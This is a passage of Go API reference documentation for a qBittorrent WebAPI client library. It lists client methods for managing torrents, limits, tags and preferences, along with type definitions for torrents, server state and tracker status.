SetGlobalUploadLimit set upload limit globally

func (*Client) SetGlobalUploadLimitCtx

func (c *Client) SetGlobalUploadLimitCtx(ctx context.Context, limit int64) error

SetGlobalUploadLimitCtx set upload limit globally

func (*Client) SetLocation

func (c *Client) SetLocation(hashes []string, location string) error

func (*Client) SetLocationCtx

func (c *Client) SetLocationCtx(ctx context.Context, hashes []string, location string) error

func (*Client) SetMaxPriority

func (c *Client) SetMaxPriority(hashes []string) error

SetMaxPriority set torrents to max priority specified by hashes

func (*Client) SetMaxPriorityCtx

func (c *Client) SetMaxPriorityCtx(ctx context.Context, hashes []string) error

SetMaxPriorityCtx set torrents to max priority specified by hashes

func (*Client) SetMinPriority

func (c *Client) SetMinPriority(hashes []string) error

SetMinPriority set torrents to min priority specified by hashes

func (*Client) SetMinPriorityCtx

func (c *Client) SetMinPriorityCtx(ctx context.Context, hashes []string) error

SetMinPriorityCtx set torrents to min priority specified by hashes

func (*Client) SetPreferences

func (c *Client) SetPreferences(prefs map[string]interface{}) error

func (*Client) SetPreferencesCtx

func (c *Client) SetPreferencesCtx(ctx context.Context, prefs map[string]interface{}) error

func (*Client) SetPreferencesMaxActiveDownloads

func (c *Client) SetPreferencesMaxActiveDownloads(max int) error

SetPreferencesMaxActiveDownloads set max active downloads

func (*Client) SetPreferencesMaxActiveTorrents

func (c *Client) SetPreferencesMaxActiveTorrents(max int) error

SetPreferencesMaxActiveTorrents set max active torrents

func (*Client) SetPreferencesMaxActiveUploads

func (c *Client) SetPreferencesMaxActiveUploads(max int) error

SetPreferencesMaxActiveUploads set max active uploads

func (*Client) SetPreferencesQueueingEnabled

func (c *Client) SetPreferencesQueueingEnabled(enabled bool) error

SetPreferencesQueueingEnabled enable/disable torrent queueing

func (*Client) SetTags

func (c *Client) SetTags(ctx context.Context, hashes []string, tags string) error

SetTags is a new method in qBittorrent 5.1 WebAPI 2.11.4 that allows for upserting tags in one go, instead of having to remove and add tags in different calls. For client instances with a lot of torrents, this will benefit a lot. It checks for the required min version, and if it's less than the required version, it will error, and then the caller can handle it how they want.

func (*Client) SetTorrentDownloadLimit

func (c *Client) SetTorrentDownloadLimit(hashes []string, limit int64) error

SetTorrentDownloadLimit set download limit for torrents specified by hashes

func (*Client) SetTorrentDownloadLimitCtx

func (c *Client) SetTorrentDownloadLimitCtx(ctx context.Context, hashes []string, limit int64) error

SetTorrentDownloadLimitCtx set download limit for torrents specified by hashes

func (*Client) SetTorrentName

func (c *Client) SetTorrentName(hash string, name string) error

SetTorrentName set name for torrent specified by hash

func (*Client) SetTorrentNameCtx

func (c *Client) SetTorrentNameCtx(ctx context.Context, hash string, name string) error

SetTorrentNameCtx set name for torrent specified by hash

func (*Client) SetTorrentShareLimit

func (c *Client) SetTorrentShareLimit(hashes []string, ratioLimit float64, seedingTimeLimit int64, inactiveSeedingTimeLimit int64) error

SetTorrentShareLimit set share limits for torrents specified by hashes

func (*Client) SetTorrentShareLimitCtx

func (c *Client) SetTorrentShareLimitCtx(ctx context.Context, hashes []string, ratioLimit float64, seedingTimeLimit int64, inactiveSeedingTimeLimit int64) error

SetTorrentShareLimitCtx set share limits for torrents specified by hashes

func (*Client) SetTorrentSuperSeeding

func (c *Client) SetTorrentSuperSeeding(hashes []string, on bool) error

SetTorrentSuperSeeding set super speeding mode for torrents specified by hashes.

hashes contains the hashes of the torrents to set super seeding mode for. or you can set to "all" to set super seeding mode for all torrents.

func (*Client) SetTorrentSuperSeedingCtx

func (c *Client) SetTorrentSuperSeedingCtx(ctx context.Context, hashes []string, on bool) error

SetTorrentSuperSeedingCtx set super seeding mode for torrents specified by hashes.

hashes contains the hashes of the torrents to set super seeding mode for. or you can set to "all" to set super seeding mode for all torrents.

func (*Client) SetTorrentUploadLimit

func (c *Client) SetTorrentUploadLimit(hashes []string, limit int64) error

SetTorrentUploadLimit set upload limit for torrent specified by hashes

func (*Client) SetTorrentUploadLimitCtx

func (c *Client) SetTorrentUploadLimitCtx(ctx context.Context, hashes []string, limit int64) error

SetTorrentUploadLimitCtx set upload limit for torrent specified by hashes

func (*Client) Shutdown

func (c *Client) Shutdown() error

Shutdown Shuts down the qBittorrent client

func (*Client) ShutdownCtx

func (c *Client) ShutdownCtx(ctx context.Context) error

func (*Client) Start

func (c *Client) Start(hashes []string) error

func (*Client) StartCtx

func (c *Client) StartCtx(ctx context.Context, hashes []string) error

func (*Client) Stop

func (c *Client) Stop(hashes []string) error

func (*Client) StopCtx

func (c *Client) StopCtx(ctx context.Context, hashes []string) error

func (*Client) SyncMainDataCtx

func (c *Client) SyncMainDataCtx(ctx context.Context, rid int64) (*MainData, error)

SyncMainDataCtx Sync API implements requests for obtaining changes since the last request. Response ID. If not provided, rid=0 will be assumed. If the given rid is different from the one of last server reply, full_update will be true (see the server reply details for more info)

func (*Client) ToggleAlternativeSpeedLimits

func (c *Client) ToggleAlternativeSpeedLimits() error

ToggleAlternativeSpeedLimits toggle alternative speed limits globally

func (*Client) ToggleAlternativeSpeedLimitsCtx

func (c *Client) ToggleAlternativeSpeedLimitsCtx(ctx context.Context) error

ToggleAlternativeSpeedLimitsCtx toggle alternative speed limits globally

func (*Client) ToggleFirstLastPiecePrio

func (c *Client) ToggleFirstLastPiecePrio(hashes []string) error

ToggleFirstLastPiecePrio toggles the priority of the first and last pieces of torrents specified by hashes

func (*Client) ToggleFirstLastPiecePrioCtx

func (c *Client) ToggleFirstLastPiecePrioCtx(ctx context.Context, hashes []string) error

ToggleFirstLastPiecePrioCtx toggles the priority of the first and last pieces of torrents specified by hashes

func (*Client) ToggleTorrentSequentialDownload

func (c *Client) ToggleTorrentSequentialDownload(hashes []string) error

ToggleTorrentSequentialDownload toggles sequential download mode for torrents specified by hashes.

hashes contains the hashes of the torrents to toggle sequential download mode for. or you can set to "all" to toggle sequential download mode for all torrents.

func (*Client) ToggleTorrentSequentialDownloadCtx

func (c *Client) ToggleTorrentSequentialDownloadCtx(ctx context.Context, hashes []string) error

ToggleTorrentSequentialDownloadCtx toggles sequential download mode for torrents specified by hashes.

hashes contains the hashes of the torrents to toggle sequential download mode for. or you can set to "all" to toggle sequential download mode for all torrents.

func (*Client) WithHTTPClient

func (c *Client) WithHTTPClient(client *http.Client) *Client

WithHTTPClient allows you to a provide a custom http.Client.

type Config

type Config struct {
	Host     string
	Username string
	Password string

	// TLS skip cert validation
	TLSSkipVerify bool

	// HTTP Basic auth username
	BasicUser string

	// HTTP Basic auth password
	BasicPass string

	Timeout int
	Log     *log.Logger
}

type ConnectionStatus

type ConnectionStatus string

type ContentLayout

type ContentLayout string
const (
	ContentLayoutOriginal        ContentLayout = "Original"
	ContentLayoutSubfolderNone   ContentLayout = "NoSubfolder"
	ContentLayoutSubfolderCreate ContentLayout = "Subfolder"
)
type Cookie struct {
	Name           string `json:"name"`           // Cookie name
	Domain         string `json:"domain"`         // Cookie domain
	Path           string `json:"path"`           // Cookie path
	Value          string `json:"value"`          // Cookie value
	ExpirationDate int64  `json:"expirationDate"` // Seconds since epoch
}

type Log

type Log struct {
	ID        int64  `json:"id"`
	Message   string `json:"message"`
	Timestamp int64  `json:"timestamp"`
	Type      int64  `json:"type"`
}

Log

type MainData

type MainData struct {
	Rid               int64               `json:"rid"`
	FullUpdate        bool                `json:"full_update"`
	Torrents          map[string]Torrent  `json:"torrents"`
	TorrentsRemoved   []string            `json:"torrents_removed"`
	Categories        map[string]Category `json:"categories"`
	CategoriesRemoved []string            `json:"categories_removed"`
	Tags              []string            `json:"tags"`
	TagsRemoved       []string            `json:"tags_removed"`
	Trackers          map[string][]string `json:"trackers"`
	ServerState       ServerState         `json:"server_state"`
}

func (*MainData) Update

func (dest *MainData) Update(ctx context.Context, c *Client) error

type PeerLog

type PeerLog struct {
	ID        int64  `json:"id"`
	IP        string `json:"ip"`
	Blocked   bool   `json:"blocked"`
	Timestamp int64  `json:"timestamp"`
	Reason    string `json:"reason"`
}

PeerLog

type PieceState

type PieceState int

PieceState represents download state of torrent pieces.

type ReannounceOptions

type ReannounceOptions struct {
	Interval        int
	MaxAttempts     int
	DeleteOnFailure bool
}

type ServerState

type ServerState struct {
	AlltimeDl            int64  `json:"alltime_dl"`
	AlltimeUl            int64  `json:"alltime_ul"`
	AverageTimeQueue     int64  `json:"average_time_queue"`
	ConnectionStatus     string `json:"connection_status"`
	DhtNodes             int64  `json:"dht_nodes"`
	DlInfoData           int64  `json:"dl_info_data"`
	DlInfoSpeed          int64  `json:"dl_info_speed"`
	DlRateLimit          int64  `json:"dl_rate_limit"`
	FreeSpaceOnDisk      int64  `json:"free_space_on_disk"`
	GlobalRatio          string `json:"global_ratio"`
	QueuedIoJobs         int64  `json:"queued_io_jobs"`
	Queueing             bool   `json:"queueing"`
	ReadCacheHits        string `json:"read_cache_hits"`
	ReadCacheOverload    string `json:"read_cache_overload"`
	RefreshInterval      int64  `json:"refresh_interval"`
	TotalBuffersSize     int64  `json:"total_buffers_size"`
	TotalPeerConnections int64  `json:"total_peer_connections"`
	TotalQueuedSize      int64  `json:"total_queued_size"`
	TotalWastedSession   int64  `json:"total_wasted_session"`
	UpInfoData           int64  `json:"up_info_data"`
	UpInfoSpeed          int64  `json:"up_info_speed"`
	UpRateLimit          int64  `json:"up_rate_limit"`
	UseAltSpeedLimits    bool   `json:"use_alt_speed_limits"`
	WriteCacheOverload   string `json:"write_cache_overload"`
}

type Torrent

type Torrent struct {
	AddedOn            int64            `json:"added_on"`
	AmountLeft         int64            `json:"amount_left"`
	AutoManaged        bool             `json:"auto_tmm"`
	Availability       float64          `json:"availability"`
	Category           string           `json:"category"`
	Completed          int64            `json:"completed"`
	CompletionOn       int64            `json:"completion_on"`
	ContentPath        string           `json:"content_path"`
	DlLimit            int64            `json:"dl_limit"`
	DlSpeed            int64            `json:"dlspeed"`
	DownloadPath       string           `json:"download_path"`
	Downloaded         int64            `json:"downloaded"`
	DownloadedSession  int64            `json:"downloaded_session"`
	ETA                int64            `json:"eta"`
	FirstLastPiecePrio bool             `json:"f_l_piece_prio"`
	ForceStart         bool             `json:"force_start"`
	Hash               string           `json:"hash"`
	InfohashV1         string           `json:"infohash_v1"`
	InfohashV2         string           `json:"infohash_v2"`
	LastActivity       int64            `json:"last_activity"`
	MagnetURI          string           `json:"magnet_uri"`
	MaxRatio           float64          `json:"max_ratio"`
	MaxSeedingTime     int64            `json:"max_seeding_time"`
	Name               string           `json:"name"`
	NumComplete        int64            `json:"num_complete"`
	NumIncomplete      int64            `json:"num_incomplete"`
	NumLeechs          int64            `json:"num_leechs"`
	NumSeeds           int64            `json:"num_seeds"`
	Priority           int64            `json:"priority"`
	Progress           float64          `json:"progress"`
	Ratio              float64          `json:"ratio"`
	RatioLimit         float64          `json:"ratio_limit"`
	SavePath           string           `json:"save_path"`
	SeedingTime        int64            `json:"seeding_time"`
	SeedingTimeLimit   int64            `json:"seeding_time_limit"`
	SeenComplete       int64            `json:"seen_complete"`
	SequentialDownload bool             `json:"seq_dl"`
	Size               int64            `json:"size"`
	State              TorrentState     `json:"state"`
	SuperSeeding       bool             `json:"super_seeding"`
	Tags               string           `json:"tags"`
	TimeActive         int64            `json:"time_active"`
	TotalSize          int64            `json:"total_size"`
	Tracker            string           `json:"tracker"`
	TrackersCount      int64            `json:"trackers_count"`
	UpLimit            int64            `json:"up_limit"`
	Uploaded           int64            `json:"uploaded"`
	UploadedSession    int64            `json:"uploaded_session"`
	UpSpeed            int64            `json:"upspeed"`
	Trackers           []TorrentTracker `json:"trackers"`
}

type TorrentAddOptions

type TorrentAddOptions struct {
	Stopped            bool // introduced in Web API v2.11.0 (v5.0.0)
	Paused             bool
	SkipHashCheck      bool
	ContentLayout      ContentLayout
	SavePath           string
	AutoTMM            bool
	Category           string
	Tags               string
	LimitUploadSpeed   int64
	LimitDownloadSpeed int64
	LimitRatio         float64
	LimitSeedTime      int64
	Rename             string
	FirstLastPiecePrio bool
	SequentialDownload bool
}

func (*TorrentAddOptions) Prepare

func (o *TorrentAddOptions) Prepare() map[string]string

type TorrentFiles

type TorrentFiles []struct {
	Availability float32 `json:"availability"`
	Index        int     `json:"index"`
	IsSeed       bool    `json:"is_seed,omitempty"`
	Name         string  `json:"name"`
	PieceRange   []int   `json:"piece_range"`
	Priority     int     `json:"priority"`
	Progress     float32 `json:"progress"`
	Size         int64   `json:"size"`
}

type TorrentFilter

type TorrentFilter string
const (
	// Torrent is paused
	TorrentFilterAll TorrentFilter = "all"

	// Torrent is active
	TorrentFilterActive TorrentFilter = "active"

	// Torrent is inactive
	TorrentFilterInactive TorrentFilter = "inactive"

	// Torrent is completed
	TorrentFilterCompleted TorrentFilter = "completed"

	// Torrent is resumed
	TorrentFilterResumed TorrentFilter = "resumed"

	// Torrent is paused
	TorrentFilterPaused TorrentFilter = "paused"

	// Torrent is stopped
	TorrentFilterStopped TorrentFilter = "stopped"

	// Torrent is stalled
	TorrentFilterStalled TorrentFilter = "stalled"

	// Torrent is being seeded and data is being transferred
	TorrentFilterUploading TorrentFilter = "uploading"

	// Torrent is being seeded, but no connection were made
	TorrentFilterStalledUploading TorrentFilter = "stalled_uploading"

	// Torrent is being downloaded and data is being transferred
	TorrentFilterDownloading TorrentFilter = "downloading"

	// Torrent is being downloaded, but no connection were made
	TorrentFilterStalledDownloading TorrentFilter = "stalled_downloading"

	// Torrent is errored
	TorrentFilterError TorrentFilter = "errored"
)

type TorrentFilterOptions

type TorrentFilterOptions struct {
	Filter          TorrentFilter
	Category        string
	Tag             string
	Sort            string
	Reverse         bool
	Limit           int
	Offset          int
	Hashes          []string
	IncludeTrackers bool // qbit 5.1+
}

type TorrentProperties

type TorrentProperties struct {
	AdditionDate           int     `json:"addition_date"`
	Comment                string  `json:"comment"`
	CompletionDate         int     `json:"completion_date"`
	CreatedBy              string  `json:"created_by"`
	CreationDate           int     `json:"creation_date"`
	DlLimit                int     `json:"dl_limit"`
	DlSpeed                int     `json:"dl_speed"`
	DlSpeedAvg             int     `json:"dl_speed_avg"`
	DownloadPath           string  `json:"download_path"`
	Eta                    int     `json:"eta"`
	Hash                   string  `json:"hash"`
	InfohashV1             string  `json:"infohash_v1"`
	InfohashV2             string  `json:"infohash_v2"`
	IsPrivate              bool    `json:"is_private"`
	LastSeen               int     `json:"last_seen"`
	Name                   string  `json:"name"`
	NbConnections          int     `json:"nb_connections"`
	NbConnectionsLimit     int     `json:"nb_connections_limit"`
	Peers                  int     `json:"peers"`
	PeersTotal             int     `json:"peers_total"`
	PieceSize              int     `json:"piece_size"`
	PiecesHave             int     `json:"pieces_have"`
	PiecesNum              int     `json:"pieces_num"`
	Reannounce             int     `json:"reannounce"`
	SavePath               string  `json:"save_path"`
	SeedingTime            int     `json:"seeding_time"`
	Seeds                  int     `json:"seeds"`
	SeedsTotal             int     `json:"seeds_total"`
	ShareRatio             float64 `json:"share_ratio"`
	TimeElapsed            int     `json:"time_elapsed"`
	TotalDownloaded        int64   `json:"total_downloaded"`
	TotalDownloadedSession int64   `json:"total_downloaded_session"`
	TotalSize              int64   `json:"total_size"`
	TotalUploaded          int64   `json:"total_uploaded"`
	TotalUploadedSession   int64   `json:"total_uploaded_session"`
	TotalWasted            int64   `json:"total_wasted"`
	UpLimit                int     `json:"up_limit"`
	UpSpeed                int     `json:"up_speed"`
	UpSpeedAvg             int     `json:"up_speed_avg"`
}

type TorrentState

type TorrentState string
const (
	// Some error occurred, applies to paused torrents
	TorrentStateError TorrentState = "error"

	// Torrent data files is missing
	TorrentStateMissingFiles TorrentState = "missingFiles"

	// Torrent is being seeded and data is being transferred
	TorrentStateUploading TorrentState = "uploading"

	// Torrent is paused and has finished downloading
	TorrentStatePausedUp TorrentState = "pausedUP"

	// Torrent is stopped and has finished downloading
	TorrentStateStoppedUp TorrentState = "stoppedUP"

	// Queuing is enabled and torrent is queued for upload
	TorrentStateQueuedUp TorrentState = "queuedUP"

	// Torrent is being seeded, but no connection were made
	TorrentStateStalledUp TorrentState = "stalledUP"

	// Torrent has finished downloading and is being checked
	TorrentStateCheckingUp TorrentState = "checkingUP"

	// Torrent is forced to uploading and ignore queue limit
	TorrentStateForcedUp TorrentState = "forcedUP"

	// Torrent is allocating disk space for download
	TorrentStateAllocating TorrentState = "allocating"

	// Torrent is being downloaded and data is being transferred
	TorrentStateDownloading TorrentState = "downloading"

	// Torrent has just started downloading and is fetching metadata
	TorrentStateMetaDl TorrentState = "metaDL"

	// Torrent is paused and has NOT finished downloading
	TorrentStatePausedDl TorrentState = "pausedDL"

	// Torrent is stopped and has NOT finished downloading
	TorrentStateStoppedDl TorrentState = "stoppedDL"

	// Queuing is enabled and torrent is queued for download
	TorrentStateQueuedDl TorrentState = "queuedDL"

	// Torrent is being downloaded, but no connection were made
	TorrentStateStalledDl TorrentState = "stalledDL"

	// Same as checkingUP, but torrent has NOT finished downloading
	TorrentStateCheckingDl TorrentState = "checkingDL"

	// Torrent is forced to downloading to ignore queue limit
	TorrentStateForcedDl TorrentState = "forcedDL"

	// Checking resume data on qBt startup
	TorrentStateCheckingResumeData TorrentState = "checkingResumeData"

	// Torrent is moving to another location
	TorrentStateMoving TorrentState = "moving"

	// Unknown status
	TorrentStateUnknown TorrentState = "unknown"
)

type TorrentTracker

type TorrentTracker struct {
	// Tier          int   `json:"tier"` // can be both empty "" and int
	Url           string        `json:"url"`
	Status        TrackerStatus `json:"status"`
	NumPeers      int           `json:"num_peers"`
	NumSeeds      int           `json:"num_seeds"`
	NumLeechers   int           `json:"num_leechers"`
	NumDownloaded int           `json:"num_downloaded"`
	Message       string        `json:"msg"`
}

type TorrentTrackersResponse

type TorrentTrackersResponse struct {
	Trackers []TorrentTracker `json:"trackers"`
}

type TrackerStatus

type TrackerStatus int

TrackerStatus https://github.com/qbittorrent/qBittorrent/wiki/WebUI-API-(qBittorrent-4.1)#get-torrent-trackers

const (
	// 0 Tracker is disabled (used for DHT, PeX, and LSD)
	TrackerStatusDisabled TrackerStatus = 0

	// 1 Tracker has not been contacted yet
	TrackerStatusNotContacted TrackerStatus = 1

	// 2 Tracker has been contacted and is working
	TrackerStatusOK TrackerStatus = 2

	// 3 Tracker is updating
	TrackerStatusUpdating TrackerStatus = 3

	// 4 Tracker has been contacted, but it is not working (or doesn't send proper replies)
	TrackerStatusNotWorking TrackerStatus = 4
)

type TransferInfo

type TransferInfo struct {
	ConnectionStatus ConnectionStatus `json:"connection_status"`
	DHTNodes         int64            `json:"dht_nodes"`
	DlInfoData       int64            `json:"dl_info_data"`
	DlInfoSpeed      int64            `json:"dl_info_speed"`
	DlRateLimit      int64            `json:"dl_rate_limit"`
	UpInfoData       int64            `json:"up_info_data"`
	UpInfoSpeed      int64            `json:"up_info_speed"`
	UpRateLimit      int64            `json:"up_rate_limit"`
}

TransferInfo

https://github.com/qbittorrent/qBittorrent/wiki/WebUI-API-(qBittorrent-4.1)#get-global-transfer-info

dl_info_speed integer Global download rate (bytes/s)

dl_info_data integer Data downloaded this session (bytes)

up_info_speed integer Global upload rate (bytes/s)

up_info_data integer Data uploaded this session (bytes)

dl_rate_limit integer Download rate limit (bytes/s)

up_rate_limit integer Upload rate limit (bytes/s)

dht_nodes integer DHT nodes connected to

connection_status string Connection status. See possible values here below

type WebSeed

type WebSeed struct {
	URL string `json:"url"`
}

Directories

Path Synopsis
examples
basic command

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL